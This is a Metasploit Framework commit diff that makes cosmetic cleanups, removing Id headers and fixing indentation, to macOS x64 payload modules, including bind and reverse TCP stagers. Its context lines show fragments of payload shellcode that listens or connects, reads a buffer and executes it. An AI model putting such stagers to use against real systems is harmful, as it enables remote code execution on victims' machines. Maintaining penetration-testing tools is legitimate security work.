Code cleanup

modules/payloads/singles/osx/x64/say.rb

@@ -1,7 +1,3 @@
-##
-# $Id$
-##
-
 ##
 # This file is part of the Metasploit Framework and may be subject to
 # redistribution and commercial restrictions. Please see the Metasploit
@@ -37,7 +33,8 @@ module Metasploit3
 	# build the shellcode payload dynamically based on the user-provided CMD
 	def generate
 		say = (datastore['SAY'] || '') << "\x00"
-		call = "\xe8" + [say.length + 0xd].pack('V') 
+		call = "\xe8" + [say.length + 0xd].pack('V')
+
 		payload =
 			"\x48\x31\xC0" +                    # xor rax,rax
 			"\xB8\x3B\x00\x00\x02" +            # mov eax,0x200003b

modules/payloads/singles/osx/x64/shell_find_tag.rb

@@ -1,7 +1,3 @@
-##
-# $Id$
-##
-
 ##
 # This file is part of the Metasploit Framework and may be subject to
 # redistribution and commercial restrictions. Please see the Metasploit
@@ -45,8 +41,9 @@ module Metasploit3
 	# ensures the setting of tag to a four byte value
 	#
 	def generate
-                cmd  = (datastore['CMD'] || '') << "\x00"
-                call = "\xe8" + [cmd.length].pack('V')
+		cmd  = (datastore['CMD'] || '') << "\x00"
+		call = "\xe8" + [cmd.length].pack('V')
+
 		payload = 
 			 "\x48\x31\xFF" +                    # xor rdi,rdi
 			 "\x57" +                            # push rdi

modules/payloads/stagers/osx/x64/bind_tcp.rb

@@ -1,7 +1,3 @@
-##
-# $Id$
-##
-
 ##
 # This file is part of the Metasploit Framework and may be subject to
 # redistribution and commercial restrictions. Please see the Metasploit
@@ -12,30 +8,22 @@
 require 'msf/core'
 require 'msf/core/handler/bind_tcp'
 
-###
-#
-# BindTcp
-# -------
-#
-# Mac OS X x86 bind TCP stager.
-#
-###
 module Metasploit3
 
 	include Msf::Payload::Stager
 
 	def initialize(info = { })
 		super(merge_info(info,
-			'Name'		=> 'Bind TCP Stager',
-			'Version'	=> '$Revision$',
-			'Description'	=> 'Listen, read length, read buffer, execute',
-			'Author'	=> 'nemo <nemo[at]felinemenace.org>',
-			'License'	=> MSF_LICENSE,
-			'Platform'	=> 'osx',
-			'Arch'		=> ARCH_X86_64,
-			'Handler'	=> Msf::Handler::BindTcp,
-			'Convention'	=> 'sockedi',
-			'Stager'	=>
+			'Name'        => 'Bind TCP Stager',
+			'Version'     => '$Revision$',
+			'Description' => 'Listen, read length, read buffer, execute',
+			'Author'      => 'nemo <nemo[at]felinemenace.org>',
+			'License'     => MSF_LICENSE,
+			'Platform'    => 'osx',
+			'Arch'        => ARCH_X86_64,
+			'Handler'     => Msf::Handler::BindTcp,
+			'Convention'  => 'sockedi',
+			'Stager'      =>
 			{
 				'Offsets' => { 'LPORT' => [ 31, 'n'] },
 				'Payload' =>
@@ -93,7 +81,7 @@ module Metasploit3
 					 "\x56" +                     # push rsi
 					 "\x4C\x89\xEF" +             # mov rdi,r13
 					 "\x48\x31\xC9" +             # xor rcx,rcx
-					 "\x4C\x89\xDA" + 	      # mov rdx,r11
+					 "\x4C\x89\xDA" +             # mov rdx,r11
 					 "\x4D\x31\xC0" +             # xor r8,r8
 					 "\x4D\x31\xD2" +             # xor r10,r10
 					 "\xB8\x1D\x00\x00\x02" +     # mov eax,0x200001d

modules/payloads/stagers/osx/x64/reverse_tcp.rb

@@ -1,7 +1,3 @@
-##
-# $Id$
-##
-
 ##
 # This file is part of the Metasploit Framework and may be subject to
 # redistribution and commercial restrictions. Please see the Metasploit
@@ -12,30 +8,22 @@
 require 'msf/core'
 require 'msf/core/handler/reverse_tcp'
 
-###
-#
-# ReverseTcp
-# -------
-#
-# Mac OS X x86 Reverse TCP stager.
-#
-###
 module Metasploit3
 
 	include Msf::Payload::Stager
 
 	def initialize(info = { })
 		super(merge_info(info,
-			'Name'		=> 'Reverse TCP Stager',
-			'Version'	=> '$Revision$',
-			'Description'	=> 'Connect, read length, read buffer, execute',
-			'Author'	=> 'nemo <nemo[at]felinemenace.org>',
-			'License'	=> MSF_LICENSE,
-			'Platform'	=> 'osx',
-			'Arch'		=> ARCH_X86_64,
-			'Handler'	=> Msf::Handler::ReverseTcp,
-			'Convention'	=> 'sockedi',
-			'Stager'        =>
+			'Name'        => 'Reverse TCP Stager',
+			'Version'     => '$Revision$',
+			'Description' => 'Connect, read length, read buffer, execute',
+			'Author'      => 'nemo <nemo[at]felinemenace.org>',
+			'License'     => MSF_LICENSE,
+			'Platform'    => 'osx',
+			'Arch'        => ARCH_X86_64,
+			'Handler'     => Msf::Handler::ReverseTcp,
+			'Convention'  => 'sockedi',
+			'Stager'      =>
 			{
 				'Offsets' =>
 				{

modules/payloads/stages/osx/x64/dupandexecve.rb

@@ -1,7 +1,3 @@
-##
-# $Id$
-##
-
 ##
 # This file is part of the Metasploit Framework and may be subject to
 # redistribution and commercial restrictions. Please see the Metasploit